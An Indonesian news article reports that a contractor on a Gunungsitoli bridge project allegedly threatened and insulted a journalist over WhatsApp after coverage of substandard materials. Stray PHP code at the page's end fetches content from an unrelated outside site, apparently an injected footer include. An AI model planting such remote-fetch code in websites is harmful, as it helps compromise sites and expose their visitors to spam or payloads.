Faogomano Zendarato Diduga Ancam Wartawan

Jumat, 8 Juli 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Gunung Sitoli l Jejakkasus.info – Karena merasa terganggu dan takut pekerjaannya terus diawasi dan diberitakan oleh Media. Faogomano Zendrato Pelaksana Proyek Pembangunan Jembatan Sungai Boziwawo Desa Tarakhaini, Kecamatan Gunungsitoli Alo’oa, Kota Gunungsitoli, terindikasi ancam dan Intimidasi Awak Media, Jumat (09/07/2022)

Proyek yang dikerjakan menggunakan APBD Tahun Anggaran 2020 dan APBD Tahun Anggaran 2022 diduga ada permainan Material tidak sesuai, Hasil Investigasi wartawan dilapangan bahan Material Pembangunan asal jadi seperti kadar pasir fiktif campur lumpur dan yang harusnya batu split pecahan Pabrik digunakan namun yang ditemukan dilapangan batu pecahan manual dan diduga besi ada pengurangan ukuran Volume.

Pasalnya, saat media upaya Konfirmasi mulai dari PPK hingga Kadis PUPR terkesan tidak Koperatif menghadapi Media.

Berita terkait :
Disinyalir Faogomano Zendrato Langgar Spesifikasi Sesuai amanah Undang-Undang Keterbukaan Informasi Publik (KIP) Nomor 14 Tahun 2008 dan Perpres Nomor 54 Tahun 2010 dan Nomor 70 Tahun 2012, dimana Mengatur setiap Pekerjaan Bangunan Fisik yang dibiayai Negara Wajib Memasang Papan Nama Proyek, dimana memuat Jenis Kegiatan, Lokasi Proyek, Nomor Kontrak, Waktu Pelaksanaan Proyek dan Nilai Kontrak serta jangka waktu atau lama Pekerjaan, Pemasangan Papan Nama Proyek merupakan Implementasi Azas Transparansi, sehingga Masyarakat dapat ikut serta dalam Proses Pengawasan.

Baca Juga:  Polsek Grabakan Gelar "PIRAMIDA" Ngopi Bersama Media

Malah ada tindakan pengancaman yang dilakukan oleh kontraktor, dengan mengatakan akan Melaporkan Media dan Wartawan Ke-pihak Berwajib.

Faogomano Zendrato sebagai Pelaksana dari CV. GUNAWAN SISARAHILI GAMO KELURAHAN SISARAHILI GAMO mengatakan kepada Wartawan Mainkan trus Yona, Ada saya tanya sama anda apa Beritamu sesuai dengan UU Pers dan Kwalitas yang kau Beritakan itu ada uji LAB mu?,”

“Jangan asal buat Berita Mu, Kau buat Berita itu sesuaikan dengan UU Pers…bukti Berita mu apa sudah ada apa hanya asal asalan buat berita…kau juga bisa dilaporkan bila tidak sesuai Bukti nyata ya Yona…? batu yg kau bilang itu apa Pecahan manual kau bilang apa ada buktinya??? uji LAB mu sudah ada jangan hanya penglihatan mata bila kau buat Yona…hati-hati, Ucap Faogomano Zendrato.

Lanjutnya, Kau bilang sesuai laporan Masyarakat dan Kenyataan ….itulah bodohmu….Tugasmu sendiri kau tidak tau, Merasa Hebat Kau….tapi bodoh,” Woyo -woyo khòu….kau itu memang Bodoh, “Arti dari kata Ini sangat merendahkan Martabat seseorang lebih Kezi,” Hinaannya.

Baca Juga:  Galian C Desa Menilo Diduga Tanpa IUP OPK,Resahkan Warga

Ancam kerasnya Faogomano Zendrato, Hadia omasiò Òila ba?, “Atinya ingin kau tau kehebatan, yang mengartikan saya buktikan nanti sama kau dan tunggu ya, Lau Oke. Terus katanya, Ohhhh….Ba fotongamò Orama, “Arti ini dari Bentukmu terlihat kah. Bro tulisanmu akan kau tau dengan tulisanku. Kau tidak perlu tau itu…kau bukan Pengadilan banyak belajar lah,, Urus dulu dapurmu, tidak perlu sibuk dengan Urusan orang…
Malu sendiri kau nanti

Itu disampaikannya kepada Awak Media melalui pesan WhatsApp 0813-6351xxx” (08/07/2022) pukul 13 siang sampai malam pukul 20:00 wib.

Jawab Wartawan, saya raya Bang sudah memenuhi Udang-undang Pers Berita saya karena sudah turun lansung saya dilapangan dan Informasi dari Masyarakat sudah saya dengar serta sudah berusaha berkali-kali saya Konfirmasi kepada pihak Dinas terkait untuk menanyakan penjelasan Proyek tersebut, namun sangat disayangkan tidak di tanggapi,”

“Kalau memang benar tidaknya silakan beri hak jawabnya dan saya juga ada hak jawabnya, jangan mengancam saya seperti itu sekian terima kasih.” Akhir Chat Wartawan melalui Pesan WhatsApp.

Baca Juga:  Polresta Sidoarjo Ungkap Penyalahgunaan BBM Bersubsidi, Pelaku Modifikasi Bak Truk

Sekretaris LSM TIPIKOR INDONESIA Wilayah Kepulauan Nias, Hatoli lase mengatakan ada yang tidak beres di Proyek itu, kenapa Pelaksana Pekerja terkesan gelisah saat Media Memberitakan menyangkut perjalanan Proyek yang dilaksanakan mereka,”

Kita menilai, tindakan yang dilakukan oleh Faogomano Zendrato menunjukan kalau mereka merasa tidak nyaman atau ketakutan karena pekerjaan terus diawasi dan diberitakan Media,” Cetus Sekretaris LSM Tipikor Indonesia.

Lanjutnya, Kemudian Faogomano Zendrato terkesan Intimidasi Media dengan kata-kata seperti itu, Bahasa seperti itu kepada Media bisa dilaporkan pihak berwajib. Bisa juga itu disebut tindakan Pengacaman dan Kriminalisasi terhadap Awak Media. Itu diduga dilakukannya agar pihak Media berhenti untuk memberitakan Proyek yang mereka kerjakan,” Ucapnya Kesal.

Ketika diminta tanggapan Wartawa yang diduga diancam Pelaksana Proyek tersebut, mengatakan saat ini saya merasa tidak nyaman dilapangan dan Terancam dengan Perkataan Faogomano Zendrato dan ini segera saya laporkan di Polres Nias supaya dapat pengamanan dari Polisi suatu saat ada apa-apa sama saya dilapangan dan telah jelas siapa yang mengancam saya selama ini.” Cetusnya.

TZ

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Berita Terkait

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Selasa, 24 September 2024 - 10:15 WIB

Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>